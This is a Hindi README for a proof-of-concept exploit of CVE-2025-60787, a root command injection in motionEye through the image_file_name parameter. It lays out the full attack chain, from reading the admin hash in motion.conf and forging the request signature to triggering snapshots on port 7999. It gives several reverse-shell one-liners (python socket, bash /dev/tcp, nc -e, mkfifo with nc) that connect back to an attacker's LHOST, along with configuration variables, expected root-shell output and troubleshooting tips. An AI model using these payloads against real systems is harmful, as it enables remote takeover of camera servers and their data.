
CVE-2025-60787 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, motionEye v0.43.1b4 में एक OS कमांड इंजेक्शन, जो crafted image_file_name पैरामीटर के माध्यम से रिमोट कोड एक्ज़ीक्यूशन सक्षम करता है।
MotionEye v0.43.1b4 ओएस कमांड इंजेक्शन
एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो motionEye में कमजोरी के लिए ओएस कमांड इंजेक्शन है, जो मोशन डेमॉन के लिए एक वेब फ्रंटएंड है। यह कमजोरी image_file_name कॉन्फ़िगरेशन पैरामीटर का दुरुपयोग करती है, जो बिना सैनिटाइज़ेशन के शेल को सीधे पास किया जाता है, जिससे $(command) सबशेल सिंटैक्स के माध्यम से मनमाना कमांड इंजेक्शन संभव होता है।
अस्वीकरण: केवल उन सिस्टम के विरुद्ध उपयोग करें जिनके लिए आपके पास स्पष्ट अनुमति है। अनधिकृत उपयोग अवैध है।
motionEye image_file_name कॉन्फ़िग वैल्यू को सीधे मोशन डेमॉन को एक शेल फ़ाइलनाम पैटर्न के रूप में पास करता है। मोशन स्नैपशॉट समय पर फ़ाइलनाम के अंदर $(...) सबशेल एक्सप्रेशन का मूल्यांकन करता है, जिसका अर्थ है कि $(...) के अंदर रखा गया कोई भी कमांड मोशन प्रक्रिया चलाने वाले उपयोगकर्ता (आमतौर पर root) के रूप में निष्पादित होता है।
पूर्ण आक्रमण श्रृंखला है:
1. Read admin_password hash from /etc/motioneye/motion.conf
↓
2. Derive cookie hash = SHA1(admin_password_hash)
↓
3. Compute HMAC signature using motionEye's exact algorithm:
SHA1("METHOD:path:body:key")
↓
4. POST malicious config to /config/{cam}/set/ with:
image_file_name = $(your_command).%Y-%m-%d-%H-%M-%S
↓
5. Trigger snapshot via unauthenticated motion control port 7999
↓
6. Motion evaluates the filename → command executes as root
↓
7. Reverse shell connects back to attacker machine
8765)/etc/motioneye/motion.conf से एडमिन पासवर्ड हैशnc)कोई तृतीय-पक्ष पायथन पैकेज आवश्यक नहीं है — एक्सप्लॉइट केवल मानक लाइब्रेरी का उपयोग करता है।
motionEye कॉन्फ़िगरेशन फ़ाइल एडमिन पासवर्ड को SHA1 हैश के रूप में संग्रहीत करती है। इसे लक्ष्य से पढ़ें:
cat /etc/motioneye/motion.conf
@admin_password टिप्पणी लाइन देखें:
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
@admin_passwordके बाद का मान सादे टेक्स्ट पासवर्ड का SHA1 हैश है, न कि स्वयं पासवर्ड। यह हैश वही है जो आपको एक्सप्लॉइट के लिए चाहिए।
webcontrol_port मान पर भी ध्यान दें — यह अप्रमाणित मोशन कंट्रोल पोर्ट है जिसका उपयोग स्नैपशॉट ट्रिगर करने के लिए किया जाता है:
webcontrol_port 7999
webcontrol_localhost on
user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2
camera camera-1.conf
camera camera-2.conf
motionEye एक डबल-हैश्ड प्रमाणीकरण योजना का उपयोग करता है:
plaintext_password
│
▼ SHA1
admin_password ←── stored in motion.conf as @admin_password
│
▼ SHA1
cookie_hash ←── sent in browser cookie as meye_password_hash
│
▼ used as HMAC key
request_signature ←── _signature= parameter in every API request
एक्सप्लॉइट कुकी हैश को कॉन्फ़िग हैश से स्वचालित रूप से प्राप्त करता है:
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()
आप इसे मैन्युअल रूप से सत्यापित कर सकते हैं:
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# output: 238bd0f26e9f987d2dc9c0351c018e5f52534052
हस्ताक्षर की गणना motionEye स्रोत से की जाती है
/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py:
SHA1("METHOD:path:body:key")
जहां:
METHOD — HTTP विधि (POST)path — URI जिसमें से _signature हटा दिया गया है, पैरामीटर सॉर्ट किए गए, मान URL-एन्कोडेड, फिर _SIGNATURE_REGEX के माध्यम से फ़िल्टर किए गएbody — रॉ JSON बॉडी स्ट्रिंग _SIGNATURE_REGEX के माध्यम से फ़िल्टर की गईkey — या तो admin_password या admin_hash (motionEye दोनों स्वीकार करता है), _SIGNATURE_REGEX के माध्यम से फ़िल्टर किया गया_SIGNATURE_REGEX [a-zA-Z0-9/?_.=&{}\[\]":, -] में नहीं आने वाले किसी भी वर्ण को हटाता है, और उन्हें - से बदल देता है।
exploit.py खोलें और शीर्ष पर निम्नलिखित वेरिएबल सेट करें:
MOTIONEYE_URL = "http://127.0.0.1:8765" # motionEye web UI URL
MOTION_URL = "http://127.0.0.1:7999" # motion control port (no auth)
USERNAME = "admin" # admin username (default: admin)
ADMIN_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0" # from motion.conf
LHOST = "10.10.16.153" # your listener IP — the target must be able to reach this
LPORT = "4444" # your listener port
रिवर्स शेल कमांड स्वचालित रूप से LHOST और LPORT से सेट होता है:
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"
वैकल्पिक शेल कमांड — यदि डिफ़ॉल्ट अवरुद्ध है तो COMMAND बदलें:
# Bash TCP (simple, may be filtered)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"
# Netcat with -e flag
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"
# Netcat without -e (OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"
अपनी आक्रमण मशीन पर, एक्सप्लॉइट चलाने से पहले एक netcat लिसनर शुरू करें:
nc -lvnp 4444
एक्सप्लॉइट लिसनर रिमाइंडर प्रिंट करने के बाद 5 सेकंड के लिए रुकता है, जिससे आपको टर्मिनल स्विच करने का समय मिलता है।
python3 exploit.py
अपेक्षित आउटपुट:
============================================================
motionEye RCE — Reverse Shell
============================================================
[*] LHOST : 10.10.16.153
[*] LPORT : 4444
[*] Command : python3 -c '...'
[!] Start your listener NOW:
nc -lvnp 4444
[*] Sending payload in 5 seconds...
[*] cam=2 key=admin_password ts=1773484327292
sig=abc123...
status=200 resp={}
[+] Config saved! cam=2 key=admin_password
[*] Triggering snapshots via port 7999 (no auth)...
[+] cam 0 → 200 Snapshot for camera 0 Done
[+] cam 1 → 200 Snapshot for camera 1 Done
[+] cam 2 → 200 Snapshot for camera 2 Done
[+] Snapshot triggered — check your listener on 10.10.16.153:4444
आपके लिसनर पर आपको यह प्राप्त होना चाहिए:
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#
सभी अनुरोधों पर 403 अनधिकृत
हस्ताक्षर गलत है। सत्यापित करें कि आपका ADMIN_HASH मान motion.conf में @admin_password लाइन से बिल्कुल मेल खाता है — कोई स्पेस नहीं, कोई न्यूलाइन वर्ण नहीं।
cat /etc/motioneye/motion.conf | grep admin_password
स्नैपशॉट ट्रिगर होते हैं लेकिन शेल नहीं आता
image_file_name इंजेक्शन काम किया लेकिन रिवर्स शेल अवरुद्ध हो गया। चरण 4 से एक वैकल्पिक COMMAND आज़माएँ। यह भी पुष्टि करें कि लक्ष्य आपके LHOST तक पहुँच सकता है:
# On target
ping -c 1 10.10.16.153
curl http://10.10.16.153:4444
पोर्ट 7999 कनेक्शन अस्वीकार करता है
webcontrol_localhost on सेटिंग पोर्ट 7999 को केवल localhost तक सीमित करती है। एक्सप्लॉइट को लक्ष्य मशीन से या टनल के माध्यम से चलाया जाना चाहिए। इसके साथ पुष्टि करें:
ss -tlnp | grep 7999
motion.conf पढ़ने योग्य नहीं है
फ़ाइल को ऊंचे विशेषाधिकारों की आवश्यकता हो सकती है:
sudo cat /etc/motioneye/motion.conf
कोई कैमरा कॉन्फ़िग नहीं मिला
जांचें कि कौन सी कैमरा कॉन्फ़ फ़ाइलें मौजूद हैं और यदि आवश्यक हो तो एक्सप्लॉइट में cam सूची अपडेट करें:
ls /etc/motioneye/camera-*.conf
| पैरामीटर | स्थान | विवरण | उदाहरण |
|---|
MOTIONEYE_URL | exploit.py | motionEye वेब इंटरफ़ेस का पूरा URL | http://127.0.0.1:8765 |
MOTION_URL | exploit.py | मोशन कंट्रोल पोर्ट का URL (कोई प्रमाणीकरण आवश्यक नहीं) | http://127.0.0.1:7999 |
USERNAME | exploit.py | motionEye एडमिन उपयोगकर्ता नाम | admin |
ADMIN_HASH | exploit.py | motion.conf में @admin_password से SHA1 हैश | 989c5a8e... |
LHOST | exploit.py | आपकी आक्रमण मशीन का IP — लक्ष्य इस तक पहुंचने में सक्षम होना चाहिए | 10.10.16.153 |
LPORT | exploit.py | आपका nc लिसनर जिस पोर्ट पर है | 4444 |